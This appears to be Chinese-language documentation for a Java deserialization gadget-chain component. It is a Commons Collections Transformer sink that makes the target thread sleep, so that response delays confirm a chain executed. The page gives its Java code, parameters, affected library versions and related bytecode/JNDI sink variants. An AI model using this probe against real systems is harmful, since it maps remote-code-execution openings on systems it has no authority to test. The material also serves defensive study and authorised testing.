- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
<=commons-collections 3.2.1、<=commons-collections 4.0
构造一个 Commons Collections 的 Transformer[] 数组,使其触发时执行 Thread.currentThread() 后 Thread.sleep(n*1000),让目标线程休眠指定秒数。用作 CC 链的探测/延时 sink——通过响应时间差判断链是否成功执行(时间盲注式验证),不落地任何字节码。
- 入口
tags:TransformerChains、END—— 产出Transformer[]供外层 CC gadget 承接;END表示这是链尾终结节点,其后不再接任何 gadget。 - 衔接
nextTags:无(终结)。 excludes:无。
@Param(name="sleep", description="延迟时间, 单位秒", type=ParamType.Integer)
public String sleep = "5";
public Object getObject() throws Exception {
LinkedList<Object> transformers = new LinkedList<Object>();
transformers.add(this.createConstantTransformer(Thread.class)); // 常量返回 Thread 类
transformers.add(this.createInvokerTransformer("getMethod", // 反射取 Thread.currentThread 方法
new Class[]{String.class, Class[].class}, new Object[]{"currentThread", new Class[0]}));
transformers.add(this.createInvokerTransformer("invoke", // 调用得到当前线程
new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}));
transformers.add(this.createInvokerTransformer("sleep", // Thread.sleep(sleep*1000)
new Class[]{Long.TYPE}, new Object[]{Integer.parseInt(this.sleep) * 1000}));
return this.createTransformerArray(transformers);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
String version = context.getString(ContextTag.CC_VERSION);
this.initClazz(version);
return this.getObject(); // 注意:不调用 chain.doCreate —— 无内层,自身即链尾
}与其它 Transformer 变体的显著区别:invoke 不 调用 chain.doCreate(context),因为它是 END 终结节点,不需要内层对象。ChainedTransformer 执行时:Thread.class →(反射)getMethod("currentThread") → invoke(null) 得到当前线程 → sleep((long)(sleep*1000)) 使线程阻塞。数组组装依赖基类 AbstractTransformer(见 TransformerWithTemplatesImpl)。注意 Integer.parseInt(this.sleep) * 1000 传入 Long.TYPE 形参,运行时会自动装箱为对应长整值。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
sleep |
sleep | 延迟时间,单位秒(ParamType.Integer) |
5 |
任意整数(秒) |
- 适用
commons-collections <= 3.2.1与collections4 <= 4.0,靠initClazz按CC_VERSION选包。 - 无害 sink:仅
Thread.sleep,不加载字节码、不出网,用于验证 CC 反序列化链是否可达(观测响应延迟)。 - 因带
END标签且invoke不取内层,必须放在链的最末端。
自由构件,未直接出现在预设链(usedInChains 为空)。作为 CC 链的探测尾节点手工使用。
- 上游(承接方,
nextTags=TransformerChains):CommonsCollectionsK1/K2/K3/K4等外层 CC gadget。 - 下游:无(
END终结)。 - 同族(可执行的字节码/JNDI sink 变体):TransformerWithTemplatesImpl、TransformerWithMethodHandles、TransformerWithJNDI、TransformerWithJs。